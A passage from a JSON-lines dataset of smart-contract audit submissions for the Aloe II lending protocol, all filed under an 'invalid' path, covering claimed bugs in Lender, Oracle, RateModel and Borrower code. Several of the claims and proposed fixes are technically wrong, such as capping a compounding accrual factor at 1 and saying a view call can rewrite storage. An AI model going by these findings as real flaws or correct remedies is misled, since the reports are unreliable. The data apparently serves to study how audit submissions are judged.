multiple times","severity":"info","body":"Best Tan Oyster\n\nmedium\n\n# `initialize` can be called multiple times\n## Summary\nin lender.sol, `initialize` has no access modifier to allow a particular user or check to make sure that it can only be called once.\n## Vulnerability Detail\nwhen initializing the contract, certain parameters are set like lastAccrualTime which is inherited from ledger.sol and it is meant to get the block.timestamp when interest was last accrued. however since the function has no way to check if it has already being initialized then interest can never be accrued, or any other functionality this is evident when `flash` is called and `lastAccrualTime` is checked, since its 0 then the function reverts.\n## Impact\nno flash loans would ever be taken, a denial of service would always happen.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L53-L57\n## Tool used\n\nManual Review\n\n## Recommendation\nset initialized to true at the end of the function and use an if statement to check it before initializing the values.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/126.md"}} +{"title":"`poolState.lastUpdated` doesnt get updated after accumalating rewards","severity":"info","body":"Best Tan Oyster\n\nmedium\n\n# `poolState.lastUpdated` doesnt get updated after accumalating rewards\n## Summary\nafter accumalting rewards, poolState.lastUpdated never gets updated to show when last rewards were accumulated\n## Vulnerability Detail\nin Rewards.sol there is a function call `_accumulate` which is used to Accumulates rewards based on the current `rate` and time elapsed since last update, according to the comments. this would mean that every time `_accumulate` is called, the `poolState.lastUpdated` which is part of the poolState struct, should be updated as well because it clearly states 'Last time `accumulated` was updated' in the comments, to mean when poolState.accumulated was last updated.\n## Impact\nthe longer it takes to update `poolState.lastUpdated` then the bigger the rewards accrued which could mess with the accounting as it used in getting userState.earned\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/Rewards.sol#L140-L145\n## Tool used\n\nManual Review\n\n## Recommendation\ncall `previewPoolState` or just update the poolState imediately after getting the delta","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/124.md"}} +{"title":"Race condition in lender shares","severity":"info","body":"Faint Bronze Millipede\n\nmedium\n\n# Race condition in lender shares\n## Summary\nThe tokenized share for lenders has a race condition issue. Upon examining the code, it's evident that couriers have an allowance to deposit on behalf of users. Malicious couriers can potentially frontrun the approval transaction and deposit double the amount on behalf of the users. Moreover, the token does not adhere to the ERC4626-ERC20 standard, as it lacks the increaseAllowance and decreaseAllowance methods.\n## Vulnerability Detail\nSuppose Alice approves Bob for 100 * 1e18 Lender share tokens using the approve method inside the Lender contract. Later, Alice realizes she actually needed to approve 200 * 1e18 tokens to Bob, so she initiates another transaction with the adjusted approval amount. Bob, acting quickly, spends the initial 100 * 1e18 tokens. However, by the time Alice's second transaction is mined, Bob still has an allowance of 200 * 1e18.\n\nHere more details on the race condition attack:\nhttps://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit#heading=h.m9fhqynw2xvt\n## Impact\nThe Lender contracts are not erc4626-erc20 standard and the front-running is exists for p2p lender token approvals\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L321-L327\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd the increase-decrease allowance methods from ERC20","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/121.md"}} +{"title":"getMaxSecondsAgo() makes an invalid assumption that the observation at index 0 is always initialized","severity":"info","body":"Spicy Strawberry Sidewinder\n\nhigh\n\n# getMaxSecondsAgo() makes an invalid assumption that the observation at index 0 is always initialized\n## Summary\ngetMaxSecondsAgo() assumes that the observation at index 0 is always initialized. This may not be true if the pool was just created. It should check initialized before using the observationTimestamp.\n## Vulnerability Detail\ngetMaxSecondsAgo() makes an incorrect assumption that the observation at index 0 is always initialized. Here is a more detailed explanation:\nThe key parts of getMaxSecondsAgo() are:\n\n (uint32 observationTimestamp, , , bool initialized) = pool.observations(\n (observationIndex + 1) % observationCardinality\n );\n\n // ...\n\n if (!initialized) {\n (observationTimestamp, , , ) = pool.observations(0); \n }\n\nIt first gets the timestamp of the observation at index (observationIndex + 1) % observationCardinality.\nIf that observation is not initialized, it falls back to getting the timestamp at index 0, assuming it is initialized.\nHowever, this is not a valid assumption if the pool was just created. When a pool is first created, the observation at index 0 will not be initialized until the first price update.\nSo in this case, getMaxSecondsAgo() would revert with \"OLD\" since it relies on the observation at index 0 being initialized when it may not be.\nThis could cause issues any time you call getMaxSecondsAgo() on a newly created pool - it will revert unexpectedly.\n\n## Impact\nIt could result in reading uninitialized storage, which could return arbitrary data. This could cause getMaxSecondsAgo() to return an incorrect, invalid result. The severity depends on how getMaxSecondsAgo() is used, but reading uninitialized storage is generally considered a high severity issue. At minimum it would be a medium severity bug that could lead to unexpected behavior.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/Oracle.sol#L223-L231\n## Tool used\n\nManual Review\n\n## Recommendation\ngetMaxSecondsAgo() should first check if the observation at index 0 is initialized before using its timestamp. A suggestive example:\n\n (uint32 observationTimestamp0, , , bool initialized0) = pool.observations(0);\n\n if (!initialized0) {\n // No observations initialized yet\n return 0; \n }\n\n // Rest of function remains the same...\n\n if (!initialized) {\n (observationTimestamp, , , ) = pool.observations(0);\n }\n\nThis first checks index 0, and returns 0 if it is uninitialized. Otherwise, it continues the logic as before.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/120.md"}} +{"title":"The getMaxSecondsAgo() function makes an incorrect assumption that can lead it to return an inaccurately low value for the age of the oldest observation","severity":"info","body":"Spicy Strawberry Sidewinder\n\nhigh\n\n# The getMaxSecondsAgo() function makes an incorrect assumption that can lead it to return an inaccurately low value for the age of the oldest observation\n## Summary\ngetMaxSecondsAgo() assumes that the oldest observation is in index 0 if the latest index is not initialized. However, this is not true if observations have wrapped around. The logic could miss much older observations in other indexes. \n## Vulnerability Detail\nThe getMaxSecondsAgo() function makes an incorrect assumption that could lead it to return an inaccurately low value for the age of the oldest observation.\nThe key parts of the code are:\n\n (uint32 observationTimestamp, , , bool initialized) = pool.observations(\n (observationIndex + 1) % observationCardinality\n );\n\n // The next index might not be initialized if the cardinality is in the process of increasing\n // In this case the oldest observation is always in index 0\n if (!initialized) {\n (observationTimestamp, , , ) = pool.observations(0); \n }\n\nIt checks if the next observation index is initialized. If not, it assumes index 0 must contain the oldest observation.\nHowever, this is not necessarily true. The observations could have wrapped around, so that older observations exist in other indexes besides 0.\nA simple example:\n• Observation cardinality is 5\n• Observations were initialized in index order 0, 1, 2, 3, 4\n• Index 4 was the most recent, so observationIndex = 4\n• Index 0 was overwritten with a new observation\n• Indexes 1-3 still contain older observations\nIn this case, getMaxSecondsAgo() would incorrectly return the age of the observation in index 0, even though older observations exist in indexes 1-3.\n\n## Impact\n it could underestimate the max age of observations, leading to incorrect calculations later that rely on an accurate max age.\nSpecifically, consult() uses getMaxSecondsAgo() to determine the oldest observation timestamp. If getMaxSecondsAgo() returns an incorrectly low timestamp, then consult() may incorrectly interpolate between observations or falsely trigger the \"OLD\" revert.\nThis could lead to consult() returning inaccurate tick and liquidity values, which could propagate incorrect pricing data.\nThe severity depends on how often the observations wrap around, but I would categorize this as a high severity issue:\n• It is a logical flaw in a core calculation.\n• It could lead to incorrect pricing data from the oracle.\n• The impact is non-obvious - everything may appear to work normally until suddenly consult() starts returning bad values.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/libraries/Oracle.sol#L223-L231\n## Tool used\n\nManual Review\n\n## Recommendation \nThe function needs to check all observation indexes for the oldest timestamp, not just index 0.\nA suggestive example:\n\n uint32 oldestTimestamp = uint32(block.timestamp);\n uint32 oldestIndex;\n\n for (uint i = 0; i < observationCardinality; i++) {\n (uint32 timestamp, ,,) = pool.observations(i);\n if (timestamp < oldestTimestamp) {\n oldestTimestamp = timestamp;\n oldestIndex = i;\n }\n }\n\n return uint32(block.timestamp) - oldestTimestamp;\n\nThis loops through all observation indexes to find the one with the oldest timestamp, and uses that to calculate the maximum age.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/119.md"}} +{"title":"Issues would arise as lastBalance or totalSupply hit 2**112","severity":"info","body":"Future Cherry Monkey\n\nmedium\n\n# Issues would arise as lastBalance or totalSupply hit 2**112\n## Summary\nThere's no cap on total supply or total assets and this would cause a lot of issues when they hit 2**112 which is the max storage allocated for them.\n\n## Vulnerability Detail\n`totalSupply` and `lastBalance` are safe cast to uint112 before storing. \n* `totalSupply` is the number of shares in circulation and this value can increase outside of deposit or mints. It is increased by minting shares to reserve when profit is accrued\n* `lastBalance` is the asset balance that's tracked\n* inventory is a memory variable that's used to track lastBalance + totalBorrowed with interest\n\nIt is possible to reach a total supply or lastBalance that's close to or equal to uint112.max during a deposit. And then at a later time, exceed the max because of interest accrual. This could put the contract in a stalemate because of reverts in `_save`. This scenario is more likely with tokens of high decimals such as 27 because 1e27 is less than 5.2 millions away from uint112.max. \n\n## Impact\nLender could be in stalemate when totalSupply exceeds 2**112 because of interest accrual.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L359-L365\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L556-L557\n\n## Tool used\n\nManual Review\n\n## Recommendation\nuint112 is a small amount and there are multiple recommendations\n* Use the `maxMint` and check that every mint won't exceed that.\n* Use `maxDeposit` but instead of just setting it to `2**96`, use `_convertToAsset(maxMint())`. The extra step is to be fully ERC4626 compliant\n* Warn users against using the contract with high decimals or tokens that print trillions. The contract is unsuitable for large amounts.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/116.md"}} +{"title":"Accrual factor is not validated to be <= 1. Could be used to manipulate interest in unexpected ways","severity":"info","body":"Spicy Strawberry Sidewinder\n\nhigh\n\n# Accrual factor is not validated to be <= 1. Could be used to manipulate interest in unexpected ways\n## Summary\nAccrual factor is not validated to be <= 1. Could be used to manipulate interest in unexpected ways\n## Vulnerability Detail\nThis code contains a potential vulnerability where the accrual factor returned by getAccrualFactor could be greater than 1, which could allow interest to accrue faster than expected.\n\nThe key lines are:\n\n function getAccrualFactor(IRateModel rateModel, uint256 utilization, uint256 dt) internal view returns (uint256) {\n\n // ...\n\n return _computeAccrualFactor(rate, dt);\n\n }\n\n function _computeAccrualFactor(uint256 rate, uint256 dt) private pure returns (uint256) {\n\n // ...\n\n return (ONE + rate).rpow(dt, ONE);\n\n }\n\nThe rpow function computes (ONE + rate) ** dt. If rate is very large or dt is very long, this could result in a number greater than 1.\n\nFor example, if rate = 0.5% per second (0.005e18) and dt = 1 year (31536000 seconds), the accrual factor would be 1.005 ^ 31536000 = 2.7, which is > 1.\n\nThis could allow interest to accrue much faster than expected. For example, if a deposit accrues 2x the expected interest due to this, it could break the protocol's ability to repay lenders.\n## Impact\nThis could allow interest to accrue much faster than expected. For example, if a deposit accrues 2x the expected interest due to this, it could break the protocol's ability to repay lenders.\nIn general this is a critical severity issue that undermines the core interest mechanics of the protocol.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/RateModel.sol#L38-L51\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/RateModel.sol#L53-L59\n## Tool used\n\nManual Review\n\n## Recommendation\nTo mitigate this, the accrual factor should be capped at 1. A suggestive example:\n\n function _computeAccrualFactor(uint256 rate, uint256 dt) private pure returns (uint256) {\n\n // ...\n\n uint256 factor = (ONE + rate).rpow(dt, ONE);\n\n if (factor > ONE) {\n\n return ONE;\n\n } else {\n\n return factor;\n\n }\n\n }\n\nThis ensures the accrual factor can never exceed 1, preventing the interest manipulation vulnerability.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/112.md"}} +{"title":"Borrower can lose fees from Uniswap Positions when an Aloe market is paused","severity":"info","body":"Striped Obsidian Spider\n\nhigh\n\n# Borrower can lose fees from Uniswap Positions when an Aloe market is paused\n## Summary\nAn aloe market can be paused for 30 minutes suspecting manipulation of the associated uniswap pool, and when it is paused a position cannot be modified. Now fees collection for the borrower contract's position is only possible via uniswapWithdraw which is not callable when market is paused. This poses a risk of borrower losing his large amounts of fees(especially when he has large positions).\n\n## Vulnerability Detail\nBorrowers with large position fees may lose fees when they have not collected fees in a long time and then the aloe market is paused. During the pause window, if the borrower's fees had grown to a large enough value before, it can be near and overflow type(uint128).max during the pause window and the borrower will not be able to collect the fees and hence overflowing will make the accrued fees very small. See overflow condition : See [v3-core-Position.sol](https://github.com/Uniswap/v3-core/blob/d8b1c635c275d2a9450bd6a78f3fa2484fef73eb/contracts/libraries/Position.sol#L83).\n\nFor the fees to grow, it has to be accrued via a mint or burn call. Suppose an attacker is monitoring a borrower contract which has large positions and is anticipated to earn large fees when collected, he accrues the fees in a zero liquidity mint call. Now even if the borrower notices this, he cannot frontrun this to collect his fees because the aloe market is paused and there is no way to collect the fees. \n\nAnother problem is that the mechanism forces a borrower to withdraw his liquidity to be able to collect the already accrues fees (See Borrower.sol Line 548) and there is no other way to collect the fees. ( [pool.collect](https://github.com/Uniswap/v3-core/blob/d8b1c635c275d2a9450bd6a78f3fa2484fef73eb/contracts/UniswapV3Pool.sol#L498C60-L498C60) : msg.sender is required to call collect and our borrower contract has no other function available other than withdrawing all his liquidity)\n\nThe solution to all the above problems is to have a separate collectFees mechanism in place which is callable even if aloe market is paused. This is safe because pool.collect doesn't accrue new pending fees, it just collects the already stored fees. This way we will avoid forcing borrower to withdraw his Liquidity if he wants to collect fees, and he can colelct fees if it is going to overflow soon, even if the market is paused. \n\n## Impact\nClear Loss of fees to the borrower. Possibly, It can also impact the lender because fees is included in the aggregate asset balances used in paying the divergence loss and if it overflows while accruing, it will not get added in the aggregate asset balances. It can provide a safety to the repayment assets. \n\nAdded to this, the chances of overflowing are even higher because it is forced to burn before collecting, the burn itself adds all underlying liquidity into tokensOwed0 and tokensOwed1. See [v3-core/Pool.sol](https://github.com/Uniswap/v3-core/blob/d8b1c635c275d2a9450bd6a78f3fa2484fef73eb/contracts/UniswapV3Pool.sol#L537)\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/b60c21af24738d517941f18f7caa8c7272f771c5/aloe-ii/core/src/Borrower.sol#L320\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd a function to collect fees for the uniswap position usable anytime even if aloe market is paused.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/108.md"}} +{"title":"Wrong method of calculating price of token1 in terms of token0 from the token0/token1 price","severity":"info","body":"Striped Obsidian Spider\n\nhigh\n\n# Wrong method of calculating price of token1 in terms of token0 from the token0/token1 price\n## Summary\nWhen calculating the price(conversion rate) of an underlying asset of a UNiV3 pair, it is important to consider the decimal difference between the two assets. In borrower.sol#liquidate function, the decimals are not accounted for, leading to wrong conversion rates and wrong token amounts. \n\n## Vulnerability Detail\nIn the liquidate function, Line 261 calculates what is the amount of token1 required to be swapped into token0 to pay for liabilities0. ```available1```` is the required amount of token1 of the pool(asset1 from v3 pool) to be swapped but the formula of calculating amount of token1 from amount of token0 ie. liabilities0 is wrong. \n\nFor example, consider the [USDC/ETH](https://etherscan.io/address/0x88e6a0c2ddd26feeb64f039a2c41296fcb3f5640#readContract) pool with token0 = USDC and token1 = WETH. The correct formula to calculate price of token1 in terms of token0 is = (1 / P) * 10 **(decimal1 - decimal0) [as explained here](https://www.youtube.com/watch?v=hKhdQl126Ys&ab_channel=SmartContractProgrammer). where P is = (sqrtPriceX96 / 2^96)^2. Similarly when calculating price of token0 in terms of token1, P * 10**(decimals0 - decimals1)\n\nIn our code we have just square the price without considering the possible difference in the decimals of the assets. \nAt the time of writing, sqrtPriceX96 = 1874308838782464172402084427795214, a quick calculation of the square and dividing by 2^96 would give a value of priceX128 = 559658544 (approx.) and liabilities0 is multiplied by this big number. Instead if the correct formula would have been used, liabilities0 * 0.00055965854 ie. liabilities0 * { P * 10 **(decimals0 - decimals1) = 559658544 * 10^-12 } would be the correct value. \n\nThis leads to very high estimation of the available1 because in case of USDC/ETH pool, since USDC is the less valuable token, the amount of ETH required to cover the liabilities0 amount of USDC debt should have come out as smaller because of the value of ETH, but instead it can come out as very high because we have not noted the decimal difference. \n\n## Impact\nHigh severity because this leads to very high overestimation of token1 assets required to swap for covering the liabilities10 amount of debt, which surpasses the available inventory as well as incentive1 for liquidators. This will either fail on the next line while transfering such a big amount, or if such an amount is available in the contract(in case the borrower held very large positions as the collaetral : which is then withdrawn during liquidation), it may lead to a large loss for the borrower because only liabilities0 is expected from the swap and repaid, while sending the whole large amount available1 to the callee at Line 265. \nSimilar problem exists in the else clause and the same problem exists when checking amounts of assets and liabilities in ```BalanceSheet.isHealthy function``` \n \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/b60c21af24738d517941f18f7caa8c7272f771c5/aloe-ii/core/src/Borrower.sol#L261\n\n## Tool used\nManual Review\n\n## Recommendation\nCorrectly use the formula considering the possible difference in decimals of token0 and token1. See the linked video for details.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/102.md"}} +{"title":"The reserveFactor is loaded from storage in the same slot as rateModel. A malicious contract could exploit this to manipulate values.","severity":"info","body":"Spicy Strawberry Sidewinder\n\nhigh\n\n# The reserveFactor is loaded from storage in the same slot as rateModel. A malicious contract could exploit this to manipulate values.\n## Summary\n\n## Vulnerability Detail\nThe reserveFactor can be manipulated due to being loaded from storage in the same slot as rateModel. Here is how it works:\nIn the _previewInterest() function, this line loads both reserveFactor and rateModel from storage at the same time:\n\n uint8 rf = reserveFactor; \n uint256 accrualFactor = rateModel.getAccrualFactor({...});\n\nA malicious rateModel contract could manipulate the reserveFactor value when it is loaded by implementing getAccrualFactor() to modify storage.\nFor example:\n\n function getAccrualFactor(Data memory data) external view returns (uint256) {\n // Set reserveFactor to 0 before it is read\n reserveFactor = 0;\n\n // Return a normal accrualFactor\n }\n\nThis would allow the attacker to set reserveFactor to 0 when it is loaded, reducing the protocol's revenue.\n\n## Impact\nThe main issue is that loading the reserveFactor and rateModel from the same storage slot opens up the contract to manipulation. Specifically:\n• A malicious rateModel contract could overwrite the reserveFactor value in storage when rateModel.getAccrualFactor() is called. This would allow the attacker to set reserveFactor to 0, reducing the protocol's revenue.\n• Conversely, changes to reserveFactor could overwrite the rateModel address in storage. This could brick lending/borrowing or redirect interest payments.\nSo the severity is high - this issue compromises critical parameters and could lead to loss of revenue or denial of service.\nThe impact is that core protocol revenue and interest rate logic can be hijacked. This breaks the fundamental lending/borrowing mechanisms.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L350-L351\n## Tool used\n\nManual Review\n\n## Recommendation\n This, reserveFactor should be loaded separately from rateModel to prevent manipulation:\n\n uint8 rf = reserveFactor; \n\n uint256 accrualFactor = IRateModel(rateModel).getAccrualFactor({...});\n\nBy interacting with rateModel via an interface rather than directly, its code cannot manipulate reserveFactor when it is loaded.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/100.md"}} +{"title":"Using block.timestamp as deadline on increase liquidity transaction can allow the transaction to be mined a later time.","severity":"info","body":"Fast Pink Scorpion\n\nmedium\n\n# Using block.timestamp as deadline on increase liquidity transaction can allow the transaction to be mined a later time.\n## Summary\nUniswap Transactions that use `block.timestamp` for deadline can be kept for longer than necessary by the miner until it is profitable to the miner for sandwich attack and cause a loss for the user since `block.timestamp` an never expire but a `literal` value supplied timestamp can expire.\n\n## Vulnerability Detail\nincreaseLiquidity and decreaseLiquidity functions use `block.timestamp` as `deadline`.\n```solidity\n function _withdrawFromUniswapNFT(\n uint256 tokenId,\n uint128 liquidity,\n address recipient\n ) private returns (uint256 burned0, uint256 burned1) {\n (burned0, burned1) = UNISWAP_NFT.decreaseLiquidity(\n IUniswapNFT.DecreaseLiquidityParams({\n tokenId: tokenId,\n liquidity: liquidity,\n amount0Min: 0,\n amount1Min: 0,\n deadline: block.timestamp\n })\n );\n...\n}\n```\n## Impact\nLoss of funds due to MEV. Miners can wait longer time until its profitable for them and cause a loss to the user.\n\n## Code Snippet\n- https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/periphery/src/managers/UniswapNFTManager.sol#L65\n- https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/periphery/src/managers/UniswapNFTManager.sol#L81\n- https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/periphery/src/managers/BoostManager.sol#L165\n- \n## Tool used\nManual Review\n\n## Recommendation\nAllow users specify a `deadline` timestamp as parameter instead of using `block.timestamp` because `block.timestamp` never expires but a literal timestamp value can expire.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/099.md"}} +{"title":"Bit-bleeding in slot-stuffed variables can result in messed up variable values that can result in unintended consequences for the protocol","severity":"info","body":"Micro Parchment Frog\n\nmedium\n\n# Bit-bleeding in slot-stuffed variables can result in messed up variable values that can result in unintended consequences for the protocol\n---\nname: Audit item #2\nabout: Bit-bleeding in slot-stuffed variables can result in messed up variable values that can result in unintended consequences for the protocol\ntitle: \"Bit-bleeding\"\nlabels: \"Medium severity\"\nassignees: \"\"\n---\n\n## Summary\nThroughout the codebase, slot packing is used. To avoid wasting space and gas, Aloe (cleverly) packs many values into one uint256 slot. This is smart for many reasons, but also opens the protocol to many possible vulnerabilities. I will highlight one in this issue, however this vulnerability applies in multiple parts of the code base wherever a single uint256 variables packs bits of multiple variables in lieu of using a struct instead. \n\nIn the **Lender.sol** contract, the **balances** array holds data per address on a user's balances. From the inline comments, for example in **_mint** [https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L439]:\n\nFrom most to least significant [bit]...\ncourier id | 32 bits\nuser's principle | 112 bits \nuser's balance | 112 bits\n\n112 bits should be enough to keep track of both principle and balance for any feasible, real world position/balance. *However*, is enough **couriers** for a given user are created in the referral program logic, it's possible to construct an attack *to make the courier portion of this data slot in balances bleed into the \"user's principle\" portion*\n\n## Vulnerability Detail\nIn the way in which new **couriers** are created and tied to some beneficiary/user address, if more couriers than can be counted in 32 bits could be created for a given address, then the *courier* bits will bleed into the \"user's principle\" bits. \n\nThe maximum value that could be represented in 32 bits is 2^32 - 1, which is equal to 4,294,967,295. Though that's a high number, if Aloe functions on a chain that at some point now or in the future has *low enough transaction costs (assuming you can create one new courier per transaction) that it's feasible to create more than 4,294,967,295 couriers for a single address, then the \"user's principle\" bits will be bled into and poisoned*. This can result in a calamity for Aloe. Depending on how many bits of this portion are bled into, the \"user's principle\" section of 112 bits can be manipulated, underflown, or overflown.\n\nFor example, the average transaction cost on Solana chain (I am aware that Aloe is not currently deployed to this chain, but it may be someday. Just to illustrate my point with exact values from a mainnet chain that currently have low enough tx costs to exploit this vulnerability case) as of the time of this writing is roughly $0.0002 [https://coincodex.com/article/24933/solana-gas-fees/]. In USD value, it would cost an attacker $859,493 to create 4,294,967,295 couriers for a single address, assuming this is done in 4,294,967,295 separate transactions (can be less if can be done in batched tx's). While roughly $860k isn't necessarily cheap by any means, if an attacker has a crafty enough attack that involves a large enough financial incentive to carry out (i.e. the **balances** \"user's principle\" data value for a given address that the attackers intends to manipulate could be manipulated to decrease this value on a HUGE loan amount (say, much much larger than $860k in this case) by so much, that you could effectively \"pay down the principle\" by simply carefully manipulating the 112 bits of \"user's principle\" in a way that benefits the attacker to the extent where the $860k in fees is worth it), such a targeted bit-bleed attack on an address' balance, then spending $860k might be worth the trouble.\n\nOver time, with the rise of both L1 scaling initiatives and widespread rollup/L2 adoption, we can expect tx fees to continue dropping. Via https://dune.com/haddis3/optimism-fee-calculator, Optimism (which Aloe *is* currently deployed on) already has gas prices as low as 0.001 Gwei. These fees/gas prices will only go lower, and thus make bit-bleed attacks on Aloe protocol that much more affordable and feasible.\n\nAdditionally, another case of this type of potential \"bit-bleed vulnerability\" can be found in **Borrower.sol** wherever **slot0** variable is used, where *positions, unleashLiquidationTime, state, and dirt variables are all stuffed into one slot*. Some of these cases are easier to exploit than others, however the big problem here is that in any of these cases, **if an attacker can achieve an attack where a variable's bits are bled into other variables' range of bits, then Aloe protocols' entire accounting system can start to be riddled with inaccurate values all over the place that could make the whole system's sanctity, reliable, accuracy, and user trust at risk.\n\n## Impact\nIf the \"user's principle\" bits are manipulated, underflown, or overflown, this can result in inaccurate accounting figures for a user address. This can result in incorrect principle for this address, or specifically in the case of underflow and/or overflow, a user's principle can be zeroed out or be inflated to a number magnitudes higher than it really is. I don't think I need to explain what a tragedy this could result in for Aloe at a risk/accounting standpoint. \n\n## Code Snippet\n\n## Tool used\nSolidity\n\n## Recommendation\nEither create a struct to use for tracking courier id, user's principle, and user's balance values (I know you're trying to save both space and gas by slot packing, but is it worth these potential risks?) or add logic to enforce explicit max/min values that are slot-packed.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//invalid/098.md"}} +{"title":"Core functions of Lending logic are susceptible to reentrancy attacks that could severely compromise system account balances and other important accounting data in potentially calamitous ways","severity":"info","body":"Micro Parchment Frog\n\nhigh\n\n# Core functions of Lending logic are susceptible to reentrancy attacks that could severely compromise system account balances and other important accounting data in potentially calamitous ways\n---\nname: Audit item #1\nabout: \"Memory update -> then business logic -> then save to storage\" pattern + lack of reentrancy guards leave Aloe open to attackers manipulating protocol-crucial accounting data\ntitle: \"Core functions of Lending logic are susceptible to reentrancy attacks that could severely compromise system account balances and other important accounting data in potentially calamitous ways\"\nlabels: \"High severity\"\n---\n\n## Summary\nThe code pattern, which is widely used in the Aloe codebase, of \"write to memory, execute some business logic, and then save to storage\", opens up several reentrancy vulnerabilities in the codebase. Some significant ones are found in the **Lender.sol** contract.\n\n## Vulnerability Detail\nIn Lender.sol, the private function **_save** updates state variables, according to values changed in memory and passed to the function via the params. The way in which this pattern is used involves typically reading some memory/storage variables, making **in-memory** changes, and then eventually calling **_save** to save these updates to state. These methods that call **_save** do not particularly do anything stop the following cases, that might result in *multiple unintended changes to memory before a single state update is made*, which would of course result in unintended/incorrect/malicious/inaccurate state updates:\n- a malicious actor calling the same public/external function which internally calls **_save** more than once in quick succession, to force more than one memory update to happen quickly enough so that corresponding state updates are not made in correct atomic, sequential order\n- the same case as above, except involving multiple honest actors making honest calls to functions calling **_save** involving some logic that makes updates to the same memory variables before corresponding state updates are made (i.e. two *separate* external methods that both updates the balance for an address, called by two different honest actors but for the same beneficiary address)\n\n## Impact\nThe potential impacts can be very severe, from resulting in inaccurate totalSupply tallies, to double deposits with the same funds, to a number of other possibilities that would results in the Lending part of the Aloe protocol having inaccurate accounting. Here are some cases in **Lender.sol** (each of these functions employ some form of this reentrant-susceptible update pattern + usage of **_save**):\n\n**function deposit(uint256 amount, address beneficiary, uint32 courierId) public returns (uint256 shares)**\n[https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L145]\n- new shares are **minted** and added to **totalSupply** and **lastBalance** -> first in memory and then in storage\n- if an actor calls this method multiple times in quick succession, these values changes can possibly be updated in memory more than once before for the same state change, *before* the corresponding state changes are done in the right order correctly and as intended\n\n**function redeem(uint256 shares, address recipient, address owner) public returns (uint256 amount)**\n[https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L198]\n- existing shares are **burned** and added to **totalSupply** and **lastBalance** -> first in memory and then in storage\n- if an actor calls this method multiple times in quick succession, these values changes can possibly be updated in memory more than once before for the same state change, *before* the corresponding state changes are done in the right order correctly and as intended\n\n**function borrow(uint256 amount, address recipient) external returns (uint256 units)**\n[https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L235]\n- values for **borrowBase** and **lastBalance** are updated -> first in memory and then in storage\n- if an actor calls this method multiple times in quick succession, these values changes can possibly be updated in memory more than once before for the same state change, *before* the corresponding state changes are done in the right order correctly and as intended\n\n**function repay(uint256 amount, address beneficiary) external returns (uint256 units)**\n[https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L281]\n- value for **lastBalance** is updated -> first in memory and then in storage\n- if an actor calls this method multiple times in quick succession, these values changes can possibly be updated in memory more than once before for the same state change, *before* the 